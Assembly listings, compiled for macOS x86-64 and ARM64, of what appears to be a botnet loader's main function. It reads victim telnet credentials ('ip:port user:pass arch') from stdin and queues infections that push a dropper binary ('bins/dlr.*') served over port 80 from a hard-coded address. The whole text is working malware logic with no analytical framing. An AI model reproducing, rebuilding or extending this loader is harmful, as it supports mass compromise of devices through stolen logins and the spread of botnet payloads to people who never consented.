	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_main                           ## -- Begin function main
	.p2align	4, 0x90
_main:                                  ## @main
	.cfi_startproc
## %bb.0:
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset %rbp, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register %rbp
	pushq	%r15
	pushq	%r14
	pushq	%r13
	pushq	%r12
	pushq	%rbx
	subq	$1064, %rsp                     ## imm = 0x428
	.cfi_offset %rbx, -56
	.cfi_offset %r12, -48
	.cfi_offset %r13, -40
	.cfi_offset %r14, -32
	.cfi_offset %r15, -24
	movq	%rsi, %r14
	movl	%edi, %r15d
	movq	___stack_chk_guard@GOTPCREL(%rip), %rax
	movq	(%rax), %rax
	movq	%rax, -48(%rbp)
	movl	$2, %edi
	movl	$4, %esi
	callq	_calloc
	movq	%rax, %rbx
	leaq	L_.str(%rip), %rdi
	callq	_inet_addr
	movl	%eax, (%rbx)
	leaq	L_.str.1(%rip), %rdi
	callq	_inet_addr
	movl	%eax, 4(%rbx)
	cmpl	$2, %r15d
	jne	LBB0_2
## %bb.1:
	movq	8(%r14), %rax
	movq	_id_tag@GOTPCREL(%rip), %rcx
	movq	%rax, (%rcx)
LBB0_2:
	xorl	%eax, %eax
	callq	_binary_init
	testl	%eax, %eax
	je	LBB0_3
## %bb.5:
	movq	__SC_NPROCESSORS_ONLN@GOTPCREL(%rip), %rax
	movl	(%rax), %edi
	callq	_sysconf
	leaq	L_.str.3(%rip), %r8
	movq	%r8, (%rsp)
	movl	%eax, %edi
	movl	$2, %esi
	movq	%rbx, %rdx
	movl	$65536, %ecx                    ## imm = 0x10000
	movl	$80, %r9d
	callq	_server_create
	movq	_srv@GOTPCREL(%rip), %r13
	movq	%rax, (%r13)
	testq	%rax, %rax
	je	LBB0_6
## %bb.7:
	movq	_stats_thread@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	leaq	-1084(%rbp), %rdi
	xorl	%esi, %esi
	xorl	%ecx, %ecx
	callq	_pthread_create
	movq	_TRUE@GOTPCREL(%rip), %rbx
	cmpq	$0, (%rbx)
	je	LBB0_21
## %bb.8:
	movq	_stdin@GOTPCREL(%rip), %r12
	leaq	-1072(%rbp), %r15
	xorl	%r14d, %r14d
	jmp	LBB0_9
	.p2align	4, 0x90
LBB0_11:                                ##   in Loop: Header=BB0_9 Depth=1
	movl	$10000, %edi                    ## imm = 0x2710
	callq	_usleep
	cmpq	$0, (%rbx)
	je	LBB0_21
LBB0_9:                                 ## =>This Inner Loop Header: Depth=1
	movl	(%r12), %edx
	movq	%r15, %rdi
	movl	$1024, %esi                     ## imm = 0x400
	callq	_fgets
	testq	%rax, %rax
	je	LBB0_21
## %bb.10:                              ##   in Loop: Header=BB0_9 Depth=1
	movq	%r15, %rdi
	callq	_util_trim
	cmpb	$0, -1072(%rbp)
	je	LBB0_11
## %bb.12:                              ##   in Loop: Header=BB0_9 Depth=1
	leaq	-1080(%rbp), %r12
	movq	%r12, %rdi
	xorl	%esi, %esi
	movl	$4, %edx
	callq	_memset
	movq	%r15, %rdi
	movq	%r12, %rsi
	callq	_telnet_info_parse
	testq	%rax, %rax
	je	LBB0_13
## %bb.14:                              ##   in Loop: Header=BB0_9 Depth=1
	movq	%r13, %rax
	movq	_stdin@GOTPCREL(%rip), %r15
	movq	(%r13), %rdi
	testq	%rdi, %rdi
	jne	LBB0_16
## %bb.15:                              ##   in Loop: Header=BB0_9 Depth=1
	leaq	L_str.9(%rip), %rdi
	callq	_puts
	movq	(%r13), %rdi
LBB0_16:                                ##   in Loop: Header=BB0_9 Depth=1
	leaq	-1080(%rbp), %rsi
	callq	_server_queue_telnet
	leaq	1(%r14), %r12
	movabsq	$2066035336255469781, %rax      ## imm = 0x1CAC083126E978D5
	imulq	%rax, %r14
	movabsq	$73786976294838200, %rax        ## imm = 0x10624DD2F1A9FB8
	addq	%rax, %r14
	rorq	$3, %r14
	movabsq	$18446744073709550, %rax        ## imm = 0x4189374BC6A7EE
	cmpq	%rax, %r14
	ja	LBB0_18
## %bb.17:                              ##   in Loop: Header=BB0_9 Depth=1
	movl	$1, %edi
	callq	_sleep
LBB0_18:                                ##   in Loop: Header=BB0_9 Depth=1
	movq	%r12, %r14
	movq	%r15, %r12
	leaq	-1072(%rbp), %r15
	jmp	LBB0_19
	.p2align	4, 0x90
LBB0_13:                                ##   in Loop: Header=BB0_9 Depth=1
	leaq	L_.str.5(%rip), %rdi
	movq	%r15, %rsi
	xorl	%eax, %eax
	callq	_printf
	movq	_stdin@GOTPCREL(%rip), %r12
LBB0_19:                                ##   in Loop: Header=BB0_9 Depth=1
	movq	(%r13), %rdi
	addq	$4, %rdi
	callq	_ATOMIC_INC
	cmpq	$0, (%rbx)
	jne	LBB0_9
LBB0_21:
	leaq	L_str.8(%rip), %rdi
	callq	_puts
	.p2align	4, 0x90
LBB0_23:                                ## =>This Inner Loop Header: Depth=1
	movq	(%r13), %rdi
	callq	_ATOMIC_GET
	testq	%rax, %rax
	jle	LBB0_24
## %bb.22:                              ##   in Loop: Header=BB0_23 Depth=1
	movl	$1, %edi
	callq	_sleep
	jmp	LBB0_23
LBB0_24:
	xorl	%eax, %eax
	jmp	LBB0_25
LBB0_3:
	leaq	L_str(%rip), %rdi
	jmp	LBB0_4
LBB0_6:
	leaq	L_str.10(%rip), %rdi
LBB0_4:
	callq	_puts
	movl	$1, %eax
LBB0_25:
	movq	___stack_chk_guard@GOTPCREL(%rip), %rcx
	movq	(%rcx), %rcx
	cmpq	-48(%rbp), %rcx
	jne	LBB0_27
## %bb.26:
                                        ## kill: def $eax killed $eax killed $rax
	addq	$1064, %rsp                     ## imm = 0x428
	popq	%rbx
	popq	%r12
	popq	%r13
	popq	%r14
	popq	%r15
	popq	%rbp
	retq
LBB0_27:
	callq	___stack_chk_fail
	.cfi_endproc
                                        ## -- End function
	.section	__TEXT,__cstring,cstring_literals
L_.str:                                 ## @.str
	.asciz	"192.168.0.1"

L_.str.1:                               ## @.str.1
	.asciz	"192.168.1.1"

	.comm	_id_tag,8,3                     ## @id_tag
	.comm	__SC_NPROCESSORS_ONLN,4,2       ## @_SC_NPROCESSORS_ONLN
L_.str.3:                               ## @.str.3
	.asciz	"100.200.100.100"

	.comm	_srv,8,3                        ## @srv
	.comm	_stats_thread,4,2               ## @stats_thread
	.comm	_TRUE,8,3                       ## @TRUE
	.comm	_stdin,4,2                      ## @stdin
L_.str.5:                               ## @.str.5
	.asciz	"Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n"

L_str:                                  ## @str
	.asciz	"Failed to load bins/dlr.* as dropper"

L_str.8:                                ## @str.8
	.asciz	"Hit end of input."

L_str.9:                                ## @str.9
	.asciz	"srv == NULL 2"

L_str.10:                               ## @str.10
	.asciz	"Failed to initialize server. Aborting"

.subsections_via_symbols

	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_main                           ; -- Begin function main
	.p2align	2
_main:                                  ; @main
	.cfi_startproc
; %bb.0:
	stp	x28, x27, [sp, #-96]!           ; 16-byte Folded Spill
	.cfi_def_cfa_offset 96
	stp	x26, x25, [sp, #16]             ; 16-byte Folded Spill
	stp	x24, x23, [sp, #32]             ; 16-byte Folded Spill
	stp	x22, x21, [sp, #48]             ; 16-byte Folded Spill
	stp	x20, x19, [sp, #64]             ; 16-byte Folded Spill
	stp	x29, x30, [sp, #80]             ; 16-byte Folded Spill
	add	x29, sp, #80
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	.cfi_offset w19, -24
	.cfi_offset w20, -32
	.cfi_offset w21, -40
	.cfi_offset w22, -48
	.cfi_offset w23, -56
	.cfi_offset w24, -64
	.cfi_offset w25, -72
	.cfi_offset w26, -80
	.cfi_offset w27, -88
	.cfi_offset w28, -96
	sub	sp, sp, #1056
	mov	x20, x1
	mov	x21, x0
Lloh0:
	adrp	x8, ___stack_chk_guard@GOTPAGE
Lloh1:
	ldr	x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
	ldr	x8, [x8]
	stur	x8, [x29, #-96]
	mov	w0, #2
	mov	w1, #4
	bl	_calloc
	mov	x19, x0
Lloh3:
	adrp	x0, l_.str@PAGE
Lloh4:
	add	x0, x0, l_.str@PAGEOFF
	bl	_inet_addr
	str	w0, [x19]
Lloh5:
	adrp	x0, l_.str.1@PAGE
Lloh6:
	add	x0, x0, l_.str.1@PAGEOFF
	bl	_inet_addr
	str	w0, [x19, #4]
	cmp	w21, #2
	b.ne	LBB0_2
; %bb.1:
	ldr	x8, [x20, #8]
Lloh7:
	adrp	x9, _id_tag@GOTPAGE
Lloh8:
	ldr	x9, [x9, _id_tag@GOTPAGEOFF]
Lloh9:
	str	x8, [x9]
LBB0_2:
	bl	_binary_init
	cbz	w0, LBB0_20
; %bb.3:
Lloh10:
	adrp	x8, __SC_NPROCESSORS_ONLN@GOTPAGE
Lloh11:
	ldr	x8, [x8, __SC_NPROCESSORS_ONLN@GOTPAGEOFF]
Lloh12:
	ldr	w0, [x8]
	bl	_sysconf
Lloh13:
	adrp	x4, l_.str.3@PAGE
Lloh14:
	add	x4, x4, l_.str.3@PAGEOFF
	mov	w1, #2
	mov	x2, x19
	mov	w3, #65536
	mov	w5, #80
	mov	x6, x4
	bl	_server_create
Lloh15:
	adrp	x21, _srv@GOTPAGE
Lloh16:
	ldr	x21, [x21, _srv@GOTPAGEOFF]
	str	x0, [x21]
	cbz	x0, LBB0_21
; %bb.4:
Lloh17:
	adrp	x8, _stats_thread@GOTPAGE
Lloh18:
	ldr	x8, [x8, _stats_thread@GOTPAGEOFF]
Lloh19:
	ldr	w2, [x8]
	add	x0, sp, #12
	mov	x1, #0
	mov	x3, #0
	bl	_pthread_create
Lloh20:
	adrp	x22, _TRUE@GOTPAGE
Lloh21:
	ldr	x22, [x22, _TRUE@GOTPAGEOFF]
	ldr	x8, [x22]
	cbz	x8, LBB0_17
; %bb.5:
	mov	x20, #0
Lloh22:
	adrp	x23, _stdin@GOTPAGE
Lloh23:
	ldr	x23, [x23, _stdin@GOTPAGEOFF]
Lloh24:
	adrp	x19, l_.str.5@PAGE
Lloh25:
	add	x19, x19, l_.str.5@PAGEOFF
	add	x24, sp, #16
	mov	x26, #30933
	movk	x26, #9961, lsl #16
	movk	x26, #2097, lsl #32
	movk	x26, #7340, lsl #48
	mov	x27, #40888
	movk	x27, #12058, lsl #16
	movk	x27, #9437, lsl #32
	movk	x27, #262, lsl #48
	mov	x28, #42990
	movk	x28, #19398, lsl #16
	movk	x28, #35127, lsl #32
	movk	x28, #65, lsl #48
	b	LBB0_7
LBB0_6:                                 ;   in Loop: Header=BB0_7 Depth=1
	mov	w0, #10000
	bl	_usleep
	ldr	x8, [x22]
	cbz	x8, LBB0_17
LBB0_7:                                 ; =>This Inner Loop Header: Depth=1
	ldr	w2, [x23]
	add	x0, sp, #16
	mov	w1, #1024
	bl	_fgets
	cbz	x0, LBB0_17
; %bb.8:                                ;   in Loop: Header=BB0_7 Depth=1
	add	x0, sp, #16
	bl	_util_trim
	ldrb	w8, [sp, #16]
	cbz	w8, LBB0_6
; %bb.9:                                ;   in Loop: Header=BB0_7 Depth=1
	add	x0, sp, #8
	mov	w1, #0
	mov	w2, #4
	bl	_memset
	add	x0, sp, #16
	add	x1, sp, #8
	bl	_telnet_info_parse
	cbz	x0, LBB0_15
; %bb.10:                               ;   in Loop: Header=BB0_7 Depth=1
	ldr	x0, [x21]
	cbnz	x0, LBB0_12
; %bb.11:                               ;   in Loop: Header=BB0_7 Depth=1
Lloh26:
	adrp	x0, l_str.9@PAGE
Lloh27:
	add	x0, x0, l_str.9@PAGEOFF
	bl	_puts
	ldr	x0, [x21]
LBB0_12:                                ;   in Loop: Header=BB0_7 Depth=1
	add	x1, sp, #8
	bl	_server_queue_telnet
	add	x25, x20, #1
	madd	x8, x20, x26, x27
	ror	x8, x8, #3
	cmp	x8, x28
	b.hi	LBB0_14
; %bb.13:                               ;   in Loop: Header=BB0_7 Depth=1
	mov	w0, #1
	bl	_sleep
LBB0_14:                                ;   in Loop: Header=BB0_7 Depth=1
	mov	x20, x25
	b	LBB0_16
LBB0_15:                                ;   in Loop: Header=BB0_7 Depth=1
	str	x24, [sp]
	mov	x0, x19
	bl	_printf
LBB0_16:                                ;   in Loop: Header=BB0_7 Depth=1
	ldr	x8, [x21]
	add	x0, x8, #4
	bl	_ATOMIC_INC
	ldr	x8, [x22]
	cbnz	x8, LBB0_7
LBB0_17:
Lloh28:
	adrp	x0, l_str.8@PAGE
Lloh29:
	add	x0, x0, l_str.8@PAGEOFF
	bl	_puts
	ldr	x0, [x21]
	bl	_ATOMIC_GET
	cmp	x0, #1
	b.lt	LBB0_19
LBB0_18:                                ; =>This Inner Loop Header: Depth=1
	mov	w0, #1
	bl	_sleep
	ldr	x0, [x21]
	bl	_ATOMIC_GET
	cmp	x0, #0
	b.gt	LBB0_18
LBB0_19:
	mov	w0, #0
	b	LBB0_23
LBB0_20:
Lloh30:
	adrp	x0, l_str@PAGE
Lloh31:
	add	x0, x0, l_str@PAGEOFF
	b	LBB0_22
LBB0_21:
Lloh32:
	adrp	x0, l_str.10@PAGE
Lloh33:
	add	x0, x0, l_str.10@PAGEOFF
LBB0_22:
	bl	_puts
	mov	w0, #1
LBB0_23:
	ldur	x8, [x29, #-96]
Lloh34:
	adrp	x9, ___stack_chk_guard@GOTPAGE
Lloh35:
	ldr	x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh36:
	ldr	x9, [x9]
	cmp	x9, x8
	b.ne	LBB0_25
; %bb.24:
	add	sp, sp, #1056
	ldp	x29, x30, [sp, #80]             ; 16-byte Folded Reload
	ldp	x20, x19, [sp, #64]             ; 16-byte Folded Reload
	ldp	x22, x21, [sp, #48]             ; 16-byte Folded Reload
	ldp	x24, x23, [sp, #32]             ; 16-byte Folded Reload
	ldp	x26, x25, [sp, #16]             ; 16-byte Folded Reload
	ldp	x28, x27, [sp], #96             ; 16-byte Folded Reload
	ret
LBB0_25:
	bl	___stack_chk_fail
	.loh AdrpAdd	Lloh5, Lloh6
	.loh AdrpAdd	Lloh3, Lloh4
	.loh AdrpLdrGotLdr	Lloh0, Lloh1, Lloh2
	.loh AdrpLdrGotStr	Lloh7, Lloh8, Lloh9
	.loh AdrpLdrGot	Lloh15, Lloh16
	.loh AdrpAdd	Lloh13, Lloh14
	.loh AdrpLdrGotLdr	Lloh10, Lloh11, Lloh12
	.loh AdrpLdrGot	Lloh20, Lloh21
	.loh AdrpLdrGotLdr	Lloh17, Lloh18, Lloh19
	.loh AdrpAdd	Lloh24, Lloh25
	.loh AdrpLdrGot	Lloh22, Lloh23
	.loh AdrpAdd	Lloh26, Lloh27
	.loh AdrpAdd	Lloh28, Lloh29
	.loh AdrpAdd	Lloh30, Lloh31
	.loh AdrpAdd	Lloh32, Lloh33
	.loh AdrpLdrGotLdr	Lloh34, Lloh35, Lloh36
	.cfi_endproc
                                        ; -- End function
	.section	__TEXT,__cstring,cstring_literals
l_.str:                                 ; @.str
	.asciz	"192.168.0.1"

l_.str.1:                               ; @.str.1
	.asciz	"192.168.1.1"

	.comm	_id_tag,8,3                     ; @id_tag
	.comm	__SC_NPROCESSORS_ONLN,4,2       ; @_SC_NPROCESSORS_ONLN
l_.str.3:                               ; @.str.3
	.asciz	"100.200.100.100"

	.comm	_srv,8,3                        ; @srv
	.comm	_stats_thread,4,2               ; @stats_thread
	.comm	_TRUE,8,3                       ; @TRUE
	.comm	_stdin,4,2                      ; @stdin
l_.str.5:                               ; @.str.5
	.asciz	"Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n"

l_str:                                  ; @str
	.asciz	"Failed to load bins/dlr.* as dropper"

l_str.8:                                ; @str.8
	.asciz	"Hit end of input."

l_str.9:                                ; @str.9
	.asciz	"srv == NULL 2"

l_str.10:                               ; @str.10
	.asciz	"Failed to initialize server. Aborting"

.subsections_via_symbols
